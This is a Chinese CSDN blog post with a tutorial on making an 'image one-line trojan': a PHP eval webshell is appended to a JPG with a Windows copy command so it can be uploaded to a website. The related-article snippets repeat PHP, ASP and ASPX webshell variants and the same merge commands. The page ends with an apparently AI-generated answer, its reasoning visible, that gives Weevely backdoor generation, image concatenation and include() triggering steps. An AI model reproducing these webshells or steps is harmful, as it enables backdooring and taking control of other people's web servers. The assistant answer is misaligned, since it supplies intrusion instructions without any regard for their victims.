图片一句话木马简单制作方法

最新推荐文章于 2025-06-07 17:55:50 发布

TimeOldman

最新推荐文章于 2025-06-07 17:55:50 发布

阅读量5.8w

点赞数 22

CC 4.0 BY-SA版权

分类专栏：笔记文章标签：一句话木马 PHP一句话

本文链接：https://blog.youkuaiyun.com/TimeOldman/article/details/78692128

笔记专栏收录该内容

1 篇文章

订阅专栏

新建一个文件夹

在其中放入一张图片文件tp.jpg，和yjh.php一句话木马

yjh.php中的一句话木马内容为

<?php @eval($_POST[yjh]);?>

和一个写入cmd的bat文件

点击bat文件进入DOS命令，写入"copy tp.jpg/b+yjh.php tpyjh.jpg" 回车

文件夹中新生成一个叫tpyjh.jpg图片一句话木马

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

TimeOldman

关注关注

22
点赞
踩
85

收藏

觉得还不错? 一键收藏
6
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

PHP一句话木马深度详细剖析

Cwillchris的博客

06-01

1765

PHP一句话木马原理分析

上传漏洞-一句话木马

Coisini的博客

05-30

8821

声明：为什么又写一篇关于一句话木马，对，我第一次没写明白，直写了一句话木马的简单制作，但是还是有很多同学真的看不懂，所以我今天改一下，这次精写！上传漏洞-一句话木马讲述内容： 一句话木马木马使用技巧（中国菜刀、C32、CKnife）简介: 一句话木马 一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用往目标网站中加入一句话木马，然后你就可以在本地通过...

6 条评论您还未登录，请先登录后发表或查看评论

创建一句话木马（图片马）

weixin_45571987的博客

04-04

1488

图片一句话木马的编写使用cmd命令行创建图片一句话木马使用cmd命令行创建图片一句话木马 copy 1.jpg/b+1.php/a 5.jpg 这边图片木马就成功创建了

木马如何生成--简易木马的制作，从零基础到精通，收藏这篇就够了！

leah126的博客

04-29

892

真不是标题党，这回咱不聊虚头巴脑的学习路线，直接上干货——手把手教你撸一个简易木马。别误会，毕竟，天天用加载器生成木马，却不知道背后原理，跟盲人摸象有啥区别？虽然脚本能绕过360，但终究是治标不治本。

木马如何生成--简易木马的制作，（非常详细）从零基础到精通，收藏这篇就够了！

最新发布

Libra1313的博客

06-07

1160

一句话木马与图片马

野原新之助

01-16

6847

何为木马？所谓木马，即向目标主机种植恶意软件或程序（木马），通过主机与目标主机上种植好的木马进行连接，建立一个shell，达到控制目标主机的目的。比较著名的木马有冰河、灰鸽子等，这些木马都是对主机进行控制。今天总结的一句话木马，是通过对目标站点、服务器植入木马文件，对网站进行渗透控制。通常对网站的木马文件植入，都是利用文件上传漏洞进行植入的，先植入小马，再通过小马将大马植入。小马小马一...

一句话木马原理与实战

07-30

3631

一句话木马原理与实战介绍常用一句话木马分析一句话木马一句话使用方法实战介绍 一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终有强大的作用。常用一句话木马 php一句话木马：　　 <?php @eval($_POST[value]);?> 　　 aspx一句话木马：　　<%@ Page Language=“Jscript”%> 　　<%eval(Re...

图片写入一句话木马

qq_53065516的博客

03-28

7193

图片制作一句话木马: 1:选择一个图片用工具打开，winhex或者其他工具都可以，例如我选取一张图片用winhex打开，然后在其后写入一句话木马，在这里我的一句话木马是：<?php @eval($_POST['pass']);?> 可以发现成功写入。将此文件上传入dvwa后，在D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads会发现出现我修改后的图片1.jpg 此时dvwa出现/…/hackable/uploads/1.jpg succesf

一句话图片木马

qq_44111753的博客

08-20

1万+

一句话图片木马一、准备图片木马 1、准备任意图片pho.jpg 2、准备木马文件hack.php <?php @eval($_POST['hack']);?> 3、利用系统命令，将木马复制到图片文件中，产生图片木马hack.jpg copy pho.jpg/b+hack.php/a hack.jpg b二进制格式，a为ASCII 二、上传图片三、利用文件包含漏洞解析图片木马（没有文件包含漏洞图片木马将无法执行） 1、右键图片复制图片地址，找到图片木马具体位置（upload//4820

用bat制作图片马——一句话木马

AiENG_07的博客

11-29

1425

此命令关闭在控制台中回显命令，因此只有命令的输出可见，而不是命令本身。: 使用二进制拷贝将图像文件和 PHP 文件合并，并创建一个新的图像文件。使用 copy 命令将两个文件的内容合并，创建一个新的图像文件。: 提示用户将 PHP 文件拖放到窗口中，并按 Enter。: 提示用户确保图像文件和 PHP 文件位于相同的路径下。: 提示用户将图像文件拖放到窗口中，并按 Enter。提示用户输入图像文件和 PHP 文件的路径。: 用于接收用户输入的 PHP 文件路径。: 用于接收用户输入的图像文件路径。

如何制作图片一句话木马

qq_52676257的博客

03-09

3276

如何制作图片一句话木马新建一个文件夹，在其中放入一张图片（图片后缀名只要是图片的那几个后缀名即可）和一句话木马，例如：其中的一句话木马为 <?php @eval($_POST["value"]);?> 再写入一个cmd的bat文件然后打开bat文件并输入copy tp.jpg/b+yjh.php shell.jpg 这样就会在先前所建的文件夹里，得到了一张新的图片，我命名为了shell.jpg，这时我们就得到了所需要的图片一句话木马。 ...

上传图片格式一句话木马

weixin_46017292的博客

04-25

1万+

一、随便找一张jpg图片二、新建一个txt文档三、在文本文档中写入一句话木马本次实验使用的木马为password <?php @eval($_POST['密码']);?> 四、写入完成后将后缀名.txt改为.php 五、合并文件通过CMD进入储存jpg文件和php文件的目录命令格式： cd C:\muma 使用copy命令合并文件命令格式： copy 图片.jpg/b + 木马.php/a 合成.jpg 最后输出合并的木马文件muma.jpg 六、打开靶场登陆DVW

web安全的一句话木马

IerkeU的博客

12-13

2602

一、WEBshell Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。 webshell根据脚本可以分为PHP脚本木马，ASP脚本木马，也有基于.NET的脚本木马和JSP脚本木马。在国外，还有用python脚本语言写的动态网页，当然也有与

一句话木马图片制作

Kyl2n的博客

11-05

2603

常见一句话木马： php的一句话木马： <?php @eval($_POST['pass']);?> asp的一句话是： <%eval request (“pass”)%> aspx的一句话是： <%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%> 使用工具：一台能使用cmd命令的电脑步骤1：在记事本中加入一句话木马，保存。如：a.txt 准备一张图片（文件大小

一句话木马、中国菜刀、图片一句话制作、过狗一句话

热门推荐

weixin_44722125的博客

04-18

2万+

一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。

图片木马生成方式

weixin_44982065的博客

07-13

568

copy 1.jpg/b + 1.php/a 2.jpg 其中，1.jpg是不含木马的纯净图片文件； 1.php是一句话木马文件； 2.php是最终生成的不纯净图片文件（即图片木马）

如何使用命令行合成一句话图片木马

dhgogogogogogo的博客

11-28

4086

简单的合成一句话图片木马的方法，除此之外，还可以使用Photoshop合成

图片一句话木马的简单制作

sweetie 的博客

11-11

1352

新建一个文件夹其中放入一张图片，shell.php一句话木马，写入cmd的bat文件 shell.php中的一句话木马内容为 <?php @eval($_POST[sweetie]);?> 点击bat文件进入DOS命令，写入"copy 1.jpg/b+shell.php shell.jpg" 回车 ...

记一次对DZ的渗透.(一句话木马与图片,文件上传解析漏洞)

键盘的起始页

01-11

2076

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。文件上传后导致的常见安全问题一般有: 1)上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本，导致代码执行。 2)上传文件是Flash的策略文件crossdomain.xml，黑客用以控制Flash在该域下的行为（其他通过类似方式控制策

weevely图片一句话木马

04-01

<think>好的，用户想了解如何使用Weevely生成图片形式的一句话木马。首先，我需要回忆Weevely的功能和相关文档。Weevely是一个用Python编写的Web后门工具，主要用于生成和连接PHP后门。它支持多种混淆方式和隐藏方法，比如将后门代码嵌入图片文件中。根据用户提供的引用内容，特别是引用[4]提到图片马的制作需要保留图片文件的前三行，否则可能无法被识别为图片。这可能涉及到将恶意代码附加到图片文件中，同时保持图片原有的头部信息，确保文件仍然被识别为有效的图片。接下来，我需要查找Weevely是否支持生成图片木马。根据引用[1]，Weevely可以使用混淆模板生成PHP木马，但用户需要的是图片格式的木马。可能需要手动将生成的PHP代码嵌入到图片中。例如，使用cat命令将图片和PHP后门合并，确保图片头部不被破坏。另外，用户提到的引用[2]和[3]提到生成PHP木马时参数的使用，可能需要类似的方法，但需要调整参数以生成图片文件。可能需要先生成一个PHP木马，然后将其附加到图片文件的末尾，保持图片头部的完整性，这样服务器在解析时可能执行其中的PHP代码。需要验证步骤是否正确：例如，使用Weevely生成基础木马，然后手动将其合并到图片中，确保前三行是图片的头部信息。同时，上传到服务器后，通过访问该图片文件触发后门。可能还需要注意服务器配置，比如是否允许执行图片文件中的PHP代码。通常服务器不会解析图片中的PHP代码，但若存在文件包含漏洞，可能通过其他方式触发执行。总结步骤可能是：1. 生成基础的PHP后门；2. 将后门代码附加到图片文件末尾；3. 确保图片头部完整；4. 利用文件上传漏洞上传图片；5. 通过其他漏洞触发后门执行。需要检查是否有更直接的方法使用Weevely自动完成这些步骤，或者是否需要手动处理。根据现有引用，可能Weevely本身不支持直接生成图片木马，但可以通过手动合并实现。</think>根据现有技术资料，Weevely生成图片木马需要通过文件拼接实现隐藏，以下是具体操作步骤： ### 实现步骤 1. **生成基础木马文件** ```bash weevely generate <密码> webshell.php ``` 生成的文件大小约779字节，默认使用PHP语言[^1] 2. **准备正常图片文件** ```bash cp original.jpg backdoor.jpg ``` 3. **拼接文件（关键步骤）** ```bash cat webshell.php >> backdoor.jpg ``` 这会保留JPEG文件头（前3行数据），确保文件仍被识别为有效图片[^4] 4. **验证文件结构** 使用hex编辑器确认： ``` 00000000: FFD8 FFE0 0010 4A46 4946 0001 0100 0001 ......JFIF...... 00000010: 0001 0000 FFE2 0C58 4943 435F 5052 4F46 .......XICC_PROF 00000020: 494C 4500 0101 0C00 004C 6176 6332 ...PHP后门代码... ``` ### 使用限制 1. 需要配合文件上传漏洞 2. 依赖服务器配置（如`allow_url_include=On`） 3. 实际触发需通过其他漏洞利用： ```php <?php include("backdoor.jpg"); ?> ```